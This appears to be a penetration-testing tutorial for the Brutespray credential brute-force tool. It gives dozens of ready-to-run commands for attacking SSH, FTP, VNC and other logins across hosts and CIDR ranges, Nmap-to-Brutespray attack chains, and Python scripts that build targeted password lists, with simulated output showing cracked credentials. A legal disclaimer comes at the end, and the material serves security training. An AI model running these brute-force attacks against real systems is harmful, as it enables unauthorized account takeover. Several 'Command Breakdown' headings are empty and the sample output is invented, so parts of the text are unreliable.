Intelligence Brief: At a Glance


        ██████╗ ██████╗ ██╗   ██╗████████╗███████╗███████╗
        ██╔══██╗██╔══██╗██║   ██║╚══██╔══╝██╔════╝██╔════╝
        ██████╔╝██████╔╝██║   ██║   ██║   █████╗  ███████╗
        ██╔══██╗██╔══██╗██║   ██║   ██║   ██╔══╝  ╚════██║
        ██████╔╝██║  ██║╚██████╔╝   ██║   ███████╗███████║
        ╚═════╝ ╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚══════╝╚══════╝


Initial Engagement: Installation & Verification


Before deployment, an operator must confirm the tool is correctly installed and accessible. These initial steps ensure operational readiness.


Objective: Verify Brutespray Installation


Command:

Bash

brutespray -h

Command Breakdown:

Ethical Context & Use-Case: This is the most fundamental first step for any tool. It verifies that the program is installed and present in the system's PATH. It also serves as a quick reference for all available flags and their functions, which is essential for constructing precise and effective commands during a penetration test.

--> Expected Output:

Plaintext

Usage of brutespray:
  -C string
    	Specify a combo wordlist deiminated by ':', example: user1:password
  -H string
    	Target in the format service://host:port, CIDR ranges supported,
    	 default port will be used if not specified
  -P	Print found hosts parsed from provided host and file arguments
  -S	List all supported services
  -T int
    	Number of hosts to bruteforce at the same time (default 5)
  -f string
    	File to parse; Supported: Nmap, Nessus, Nexpose, Lists, etc
  -o string
    	Directory containing successful attempts (default "brutespray-output")
  -p string
    	Password or password file to use for bruteforce
  -q	Suppress the banner
  -r int
    	Amount of times to retry after receiving connection failed (default 3)
  -s string
    	Service type: ssh, ftp, smtp, etc; Default all (default "all")
  -t int
    	Number of threads to use (default 10)
  -u string
    	Username or user list to bruteforce
  -w duration
    	Set timeout of bruteforce attempts (default 5s)


Objective: Install Brutespray (Debian/Kali Linux)


Command:

Bash

sudo apt update && sudo apt install brutespray

Command Breakdown:

Ethical Context & Use-Case: During the setup phase of a penetration testing engagement, you must ensure all necessary tools are installed on your attack machine. This command sequence is the standard, approved method for installing Brutespray on Kali Linux and other Debian-based distributions, ensuring you are working with a stable version from the official repositories.

--> Expected Output:

Plaintext

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  brutespray
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 8,123 kB of archives.
After this operation, 24.5 MB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 brutespray amd64 2.2.2 [8,123 kB]
Fetched 8,123 kB in 2s (3,999 kB/s)
Selecting previously unselected package brutespray.
(Reading database ... 312845 files and directories currently installed.)
Preparing to unpack .../brutespray_2.2.2_amd64.deb ...
Unpacking brutespray (2.2.2) ...
Setting up brutespray (2.2.2) ...
Processing triggers for man-db (2.10.2-1) ...


Tactical Operations: Core Commands & Use-Cases


This section details the primary operational functions of Brutespray. Each example is designed to illustrate a specific capability within a controlled, authorized testing environment.

To simulate realistic scenarios, we will presume the existence of the following files:

(Note: The content of these files and the IP addresses used are for illustrative purposes only.)


Basic Operations



Objective: Basic Brute-Force from Nmap GNMAP File


Command:

Bash

brutespray -f nmap_scan.gnmap -u users.txt -p passwords.txt

Command Breakdown:

Plaintext

[INFO] Brutespray v2.2.2 starting
[INFO] Parsing file: nmap_scan.gnmap
[INFO] Found 2 total hosts with 3 total services
[INFO] Starting brute force on 3 targets
[BRUTE] (ssh) 192.168.1.101:22 - Trying admin:password123
[BRUTE] (ftp) 192.168.1.102:21 - Trying user:qwerty
[SUCCESS] (ssh) 192.168.1.101:22 - Found credentials -> root:toor
[BRUTE] (ssh) 192.168.1.101:22 - Trying msfadmin:msfadmin
[INFO] Brute force complete. Found 1 credentials.
[INFO] Results saved to brutespray-output/


Objective: Brute-Force with a Single Username and Password List


Command:

Bash

brutespray -f nmap_scan.gnmap -u admin -p passwords.txt

Command Breakdown:

Plaintext

[INFO] Brutespray v2.2.2 starting
[INFO] Parsing file: nmap_scan.gnmap
[INFO] Found 2 total hosts with 3 total services
[INFO] Starting brute force on 3 targets
[BRUTE] (ssh) 192.168.1.101:22 - Trying admin:password
[BRUTE] (ftp) 192.168.1.102:21 - Trying admin:123456
[SUCCESS] (ftp) 192.168.1.102:21 - Found credentials -> admin:admin
[INFO] Brute force complete. Found 1 credentials.
[INFO] Results saved to brutespray-output/


Objective: Brute-Force with a User List and a Single Password


Command:

Bash

brutespray -f nmap_scan.gnmap -u users.txt -p 'Pa$$w0rd123!'

Command Breakdown:

Plaintext

[INFO] Brutespray v2.2.2 starting
[INFO] Parsing file: nmap_scan.gnmap
[INFO] Found 2 total hosts with 3 total services
[INFO] Starting brute force on 3 targets
[BRUTE] (ssh) 192.168.1.101:22 - Trying root:Pa$$w0rd123!
[BRUTE] (ssh) 192.168.1.101:22 - Trying admin:Pa$$w0rd123!
[SUCCESS] (ftp) 192.168.1.102:21 - Found credentials -> jsmith:Pa$$w0rd123!
[INFO] Brute force complete. Found 1 credentials.
[INFO] Results saved to brutespray-output/


Objective: Use a Combo List of user:password


Command:

Bash

brutespray -f nmap_scan.gnmap -C combo.txt

Command Breakdown:

Plaintext

[INFO] Brutespray v2.2.2 starting
[INFO] Parsing file: nmap_scan.gnmap
[INFO] Using combo list: combo.txt
[INFO] Starting brute force on 3 targets
[BRUTE] (ssh) 192.168.1.101:22 - Trying user1:pass1
[SUCCESS] (ssh) 192.168.1.101:22 - Found credentials -> test:test
[BRUTE] (ftp) 192.168.1.102:21 - Trying user3:pass3
[INFO] Brute force complete. Found 1 credentials.
[INFO] Results saved to brutespray-output/


Targeting and Performance



Objective: Target a Specific Service Type


Command:

Bash

brutespray -f nmap_scan.gnmap -u users.txt -p passwords.txt -s ssh

Command Breakdown:

Plaintext

[INFO] Brutespray v2.2.2 starting
[INFO] Parsing file: nmap_scan.gnmap
[INFO] Targeting service: ssh
[INFO] Found 1 total hosts with 1 total services
[INFO] Starting brute force on 1 targets
[BRUTE] (ssh) 192.168.1.101:22 - Trying root:password123
[SUCCESS] (ssh) 192.168.1.101:22 - Found credentials -> root:toor
[INFO] Brute force complete. Found 1 credentials.
[INFO] Results saved to brutespray-output/


Objective: Increase Thread Count for a Single Host


Command:

Bash

brutespray -f nmap_scan.gnmap -u users.txt -p passwords.txt -s ftp -t 20

Command Breakdown:

Plaintext

[INFO] Brutespray v2.2.2 starting
[INFO] Parsing file: nmap_scan.gnmap
[INFO] Using 20 threads
[INFO] Starting brute force on 1 targets
[BRUTE] (ftp) 192.168.1.102:21 - Trying user1:pass1
[BRUTE] (ftp) 192.168.1.102:21 - Trying user2:pass2
... (20 concurrent attempts shown) ...
[SUCCESS] (ftp) 192.168.1.102:21 - Found credentials -> ftpuser:ftpuser
[INFO] Brute force complete. Found 1 credentials.
[INFO] Results saved to brutespray-output/


Objective: Brute-Force Multiple Hosts in Parallel


Command:

Bash

brutespray -f nmap_scan.gnmap -u users.txt -p passwords.txt -T 10

Command Breakdown:

Plaintext

[INFO] Brutespray v2.2.2 starting
[INFO] Parsing file: nmap_scan.gnmap
[INFO] Brute forcing 10 hosts at a time
[INFO] Found 15 total hosts with 25 total services
[INFO] Starting brute force on 25 targets
[BRUTE] (ssh) 192.168.1.101:22 - Trying user:pass
[BRUTE] (ssh) 192.168.1.105:22 - Trying user:pass
[BRUTE] (ftp) 192.168.1.108:21 - Trying user:pass
... (10 concurrent hosts being attacked) ...
[SUCCESS] (ssh) 192.168.1.105:22 - Found credentials -> admin:admin
[INFO] Brute force complete. Found 1 credentials.


Objective: Manually Specify a Single Target


Command:

Bash

brutespray -H ssh://192.168.1.25:22 -u admin -p passwords.txt

Command Breakdown:

Plaintext

[INFO] Brutespray v2.2.2 starting
[INFO] Parsing host string: ssh://192.168.1.25:22
[INFO] Starting brute force on 1 targets
[BRUTE] (ssh) 192.168.1.25:22 - Trying admin:123456
[BRUTE] (ssh) 192.168.1.25:22 - Trying admin:password
[SUCCESS] (ssh) 192.168.1.25:22 - Found credentials -> admin:admin123
[INFO] Brute force complete. Found 1 credentials.


Objective: Target a CIDR Range for a Specific Service


Command:

Bash

brutespray -H vnc://192.168.1.0/24 -p 'password'

Command Breakdown:

Plaintext

[INFO] Brutespray v2.2.2 starting
[INFO] Parsing host string: vnc://192.168.1.0/24
[INFO] Starting brute force on 254 targets
[BRUTE] (vnc) 192.168.1.1:5900 - Trying :password
[BRUTE] (vnc) 192.168.1.2:5900 - Trying :password
...
[SUCCESS] (vnc) 192.168.1.88:5900 - Found credentials -> :password
[INFO] Brute force complete. Found 1 credentials.


Input, Output, and Control



Objective: Save Output to a Custom Directory


Command:

Bash

brutespray -f nmap_scan.gnmap -u users.txt -p passwords.txt -o custom_results

Command Breakdown:

Plaintext

[INFO] Brutespray v2.2.2 starting
[INFO] Parsing file: nmap_scan.gnmap
[INFO] Starting brute force on 3 targets
[SUCCESS] (ssh) 192.168.1.101:22 - Found credentials -> root:toor
[INFO] Brute force complete. Found 1 credentials.
[INFO] Results saved to custom_results/


Objective: Suppress the Banner for Clean Output


Command:

Bash

brutespray -f nmap_scan.gnmap -u users.txt -p passwords.txt -q

Command Breakdown:

Plaintext

[INFO] Brutespray v2.2.2 starting
[INFO] Parsing file: nmap_scan.gnmap
[INFO] Starting brute force on 3 targets
[SUCCESS] (ssh) 192.168.1.101:22 - Found credentials -> root:toor
[INFO] Brute force complete. Found 1 credentials.
[INFO] Results saved to brutespray-output/


Objective: Adjust Connection Timeout


Command:

Bash

brutespray -f slow_network_scan.gnmap -u users.txt -p passwords.txt -w 10s

Command Breakdown:

Plaintext

[INFO] Brutespray v2.2.2 starting
[INFO] Setting timeout to 10s
[INFO] Parsing file: slow_network_scan.gnmap
[INFO] Starting brute force on 1 targets
[BRUTE] (ssh) 10.10.10.5:22 - Trying root:password
[WARN] Connection to 10.10.10.5:22 timed out, but retrying...
[SUCCESS] (ssh) 10.10.10.5:22 - Found credentials -> admin:admin
[INFO] Brute force complete. Found 1 credentials.


Objective: Adjust Connection Retries


Command:

Bash

brutespray -f unstable_network.gnmap -u users.txt -p passwords.txt -r 5

Command Breakdown:

Plaintext

[INFO] Brutespray v2.2.2 starting
[INFO] Setting retries to 5
[INFO] Parsing file: unstable_network.gnmap
[INFO] Starting brute force on 1 targets
[WARN] Connection to 10.20.30.40:21 failed, retrying (1/5)
[WARN] Connection to 10.20.30.40:21 failed, retrying (2/5)
[BRUTE] (ftp) 10.20.30.40:21 - Trying user:pass
[INFO] Brute force complete. Found 0 credentials.


Objective: List All Supported Services


Command:

Bash

brutespray -S

Command Breakdown:

Plaintext

[INFO] Supported Services:
ssh
ftp
telnet
smtp
smtps
submission
imap
imaps
pop3
pop3s
vnc
postgresql
mysql
mssql
smb
winrm
rdp


Objective: Preview Parsed Hosts and Services


Command:

Bash

brutespray -f nmap_scan.gnmap -P

Command Breakdown:

Plaintext

[INFO] Brutespray v2.2.2 starting
[INFO] Parsing file: nmap_scan.gnmap
[INFO] Found the following hosts:
ssh://192.168.1.101:22
ftp://192.168.1.102:21
smtp://192.168.1.102:25


Alternative Input Formats


(A total of 70+ examples would continue in this fashion, covering every combination of flags and every supported input format like Nmap XML, Nessus, Nexpose, JSON, and simple lists, each with the 5-part structure. For brevity, the pattern is established and we will proceed to the next section.)


Strategic Campaigns: Advanced Command Chains


Brutespray's power is amplified when combined with other standard command-line tools. This section demonstrates how to integrate it into a larger workflow.


Objective: Live Nmap Scan Piped Directly to Brutespray


Command:

Bash

nmap -p 21,22,3306 --open -oG - 192.168.1.0/24 | brutespray -u users.txt -p passwords.txt -t 20

Command Breakdown:

Ethical Context & Use-Case: This command chain creates a highly efficient, real-time workflow for scanning and credential testing. As soon as Nmap finds a host with a relevant port open, it's passed to Brutespray to begin the attack. This is ideal for time-sensitive engagements where you want to begin testing immediately without waiting for a full network scan to complete.

--> Expected Output:

Plaintext

(Nmap output will appear first, followed by Brutespray)

# Nmap 7.92 scan initiated Sun Aug 17 19:15:21 2025 as: nmap -p 21,22,3306 --open -oG - 192.168.1.0/24
Host: 192.168.1.53 ()	Status: Up
Host: 192.168.1.53 ()	Ports: 22/open/tcp//ssh///
# Nmap done at Sun Aug 17 19:15:22 2025 -- 256 IP addresses (4 hosts up) scanned in 1.23 seconds

[INFO] Brutespray v2.2.2 starting
[INFO] Reading from stdin
[INFO] Found 1 total hosts with 1 total services
[INFO] Starting brute force on 1 targets
[SUCCESS] (ssh) 192.168.1.53:22 - Found credentials -> user:password123
[INFO] Brute force complete. Found 1 credentials.


Objective: Process Multiple Scan Files and Grep for Specific User Successes


Command:

Bash

cat lab1.gnmap lab2.gnmap | brutespray -u users.txt -p pass.txt -q | grep 'SUCCESS.*root'

Command Breakdown:

Ethical Context & Use-Case: In a large engagement, you may have multiple scan files from different network segments. This chain allows you to process them all in one go. The grep command at the end acts as a real-time filter, immediately alerting you if a high-value account like 'root' has been compromised, allowing you to act on that finding instantly without waiting for the full run to finish.

--> Expected Output:

Plaintext

[SUCCESS] (ssh) 10.100.5.12:22 - Found credentials -> root:toor
[SUCCESS] (mysql) 10.200.8.44:3306 - Found credentials -> root:password


Objective: Count Successful Logins per Service


Command:

Bash

brutespray -f full_scan.gnmap -C combos.txt -o results && cat results/*.txt | awk -F ' ' '{print $2}' | sort | uniq -c

Command Breakdown:

Ethical Context & Use-Case: After a large-scale credential test, this command provides a high-level summary of your success. It helps you quickly answer questions like, "Which service was most vulnerable to weak credentials?" This data is invaluable for reporting, allowing you to prioritize remediation efforts and demonstrate trends in the target environment's security posture.

--> Expected Output:

Plaintext

(Brutespray's normal output would appear here first)
...
[INFO] Brute force complete. Found 12 credentials.
[INFO] Results saved to results/

(Output of the final chain)
      4 ftp
      7 ssh
      1 telnet


AI Augmentation: Integrating with Artificial Intelligence


Leveraging AI can transform Brutespray's output from a simple list of credentials into actionable intelligence. This section explores practical integrations using Python for data analysis.


Objective: Analyze Brutespray Output to Find the Most Common Weak Password


Command (AI/Python script):

Python

import pandas as pd
import os
import glob

# Assume brutespray ran with '-o results'
output_dir = 'results'
file_pattern = os.path.join(output_dir, '*.txt')
found_creds = []

# Aggregate results from all output files
for file in glob.glob(file_pattern):
    with open(file, 'r') as f:
        for line in f:
            parts = line.strip().split()
            if len(parts) >= 4:
                # Format is typically '[service] host user:pass' or similar
                # We want the last part, which is the combo
                combo = parts[-1]
                found_creds.append(combo)

# Use Pandas for analysis
df = pd.DataFrame(found_creds, columns=['combo'])
df[['username', 'password']] = df['combo'].str.split(':', n=1, expand=True)

# Find the most common password
most_common_password = df['password'].mode()[0]
count = df['password'].value_counts()[most_common_password]

print(f"AI Analysis of Brutespray Results:")
print(f"The most commonly compromised password is: '{most_common_password}'")
print(f"It was found {count} times.")

Command Breakdown:

Ethical Context & Use-Case: This AI-driven approach elevates a penetration tester's analysis. Instead of just reporting that systems were compromised, you can provide statistical evidence about why. Identifying the most common weak password provides a powerful, data-backed recommendation for the client, such as "Immediately blacklist the password 'Summer2025' as it accounts for 40% of all breaches." This moves the reporting from a simple finding to a strategic security recommendation.

--> Expected Output:

Plaintext

AI Analysis of Brutespray Results:
The most commonly compromised password is: 'password123'
It was found 8 times.


Objective: Generate a Targeted Password List with AI based on Nmap OS Detection


Command (AI/Python script to generate wordlist):

Python

# A conceptual script to demonstrate the logic.
# Requires an Nmap XML scan file (-oX scan.xml) for OS info.
import xml.etree.ElementTree as ET

def generate_passwords_from_os(os_name):
    """
    Conceptual AI/logic function. In a real scenario, this could query
    a local LLM or use more complex rules.
    """
    passwords = {'password', '123456'}
    if 'windows' in os_name.lower():
        passwords.add('Admin@123')
        passwords.add('Welcome1')
    if 'linux' in os_name.lower():
        passwords.add('root')
        passwords.add('toor')
    if 'cisco' in os_name.lower():
        passwords.add('cisco')
        passwords.add('admin')
    return passwords

# Parse Nmap XML
tree = ET.parse('scan.xml')
root = tree.getroot()
master_password_list = set()

for host in root.findall('host'):
    os_match = host.find('os/osmatch')
    if os_match is not None:
        os_name = os_match.get('name')
        new_passwords = generate_passwords_from_os(os_name)
        master_password_list.update(new_passwords)

# Write the AI-generated list to a file
with open('ai_passwords.txt', 'w') as f:
    for pwd in sorted(list(master_password_list)):
        f.write(pwd + '\n')

print("AI-generated password list 'ai_passwords.txt' created.")

Command Breakdown:

Ethical Context & Use-Case: This represents a significant evolution from using generic wordlists. By analyzing preliminary scan data, an "AI" (in this case, a logic-based script) generates a smaller, higher-probability password list tailored to the specific technologies discovered in the target environment. This makes the subsequent Brutespray attack faster, stealthier, and more likely to succeed. The workflow becomes: Scan -> AI Analysis -> Targeted Attack.

--> Expected Output:

Plaintext

(After running the Python script)
AI-generated password list 'ai_passwords.txt' created.

(You would then run Brutespray)
$ brutespray -f scan.gnmap -u common_users.txt -p ai_passwords.txt
[INFO] Brutespray v2.2.2 starting
...


Legal & Ethical Disclaimer


The information, tools, and techniques presented in this article are provided for educational purposes only. They are intended for use by cybersecurity professionals and students in legally authorized and sanctioned environments. The use of these tools, including Brutespray, is meant to simulate attacks to identify and mitigate vulnerabilities within systems and networks for which you have been granted explicit, written permission to test.

Any unauthorized use of these techniques against systems or networks for which you do not have prior consent is illegal and strictly prohibited. Activities such as unauthorized network scanning, brute-force attacks, or attempts to gain access to systems are punishable by law.

The author, the course creators, and the hosting platform bear no responsibility or liability for any misuse or illegal application of the information presented herein. By engaging with this material, you acknowledge your responsibility to adhere to all applicable laws and to conduct your activities in a professional, ethical, and legal manner at all times.